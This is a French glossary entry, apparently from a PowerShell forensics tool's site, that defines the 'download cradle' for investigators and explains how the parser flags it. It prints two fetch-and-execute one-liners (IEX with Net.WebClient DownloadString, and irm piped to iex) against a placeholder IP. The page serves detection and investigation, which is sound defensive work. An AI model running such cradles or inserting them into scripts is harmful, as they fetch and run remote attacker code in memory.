Skip to content

Glossaire

Cradle de téléchargement (download cradle)

Court extrait PowerShell qui récupère du code depuis une URL distante et l'exécute en mémoire, sans écrire de fichier sur le disque.

Un cradle de téléchargement est un court extrait PowerShell, généralement une seule ligne, qui récupère un script distant et l'exécute en mémoire, de sorte que la charge utile n'existe jamais sous forme de fichier sur le disque. Il associe deux primitives : un téléchargement (un client web, une requête web ou un utilitaire de transfert) et une étape d'exécution, comme Invoke-Expression, qui transforme la chaîne téléchargée en code exécuté.

Pourquoi c'est important en investigation

Les cradles constituent la première étape habituelle des intrusions PowerShell : macros de phishing, raccourcis malveillants et opérateurs aux commandes s'en servent tous pour récupérer l'étape suivante depuis l'infrastructure de l'attaquant. Comme rien n'est écrit sur le disque, la ligne de commande ou le bloc de script journalisé est souvent la seule preuve de l'origine de la charge utile. L'URL ou l'IP contenue dans le cradle est donc un indicateur immédiat à exploiter dans les journaux du proxy, du DNS et du pare-feu.

Il existe de nombreuses variantes au-delà de Net.WebClient : Invoke-WebRequest/iwr, Invoke-RestMethod/irm, Start-BitsTransfer, Net.Http.HttpClient, des objets COM comme MSXML2.XMLHTTP, et des utilitaires tels que bitsadmin ou certutil -urlcache.

Exemple

La forme classique, souvent enveloppée dans une commande encodée avec une fenêtre masquée :

IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')

Une variante plus courte fait la même chose avec des alias :

irm http://198.51.100.23/a.ps1 | iex

Le parseur signale un téléchargement seul avec une gravité moyenne, une primitive d'exécution seule comme Invoke-Expression, et les deux ensemble comme un cradle de téléchargement de gravité élevée. Il extrait l'URL et l'IP sous forme de chaînes inertes que vous pouvez copier, et ne les contacte jamais.

Termes associés

Repérez les cradles dans vos journaux, historiques et transcriptions avec PowerShell Parser, et consultez décoder les commandes encodées et l'obfuscation pour les couches qui les dissimulent habituellement.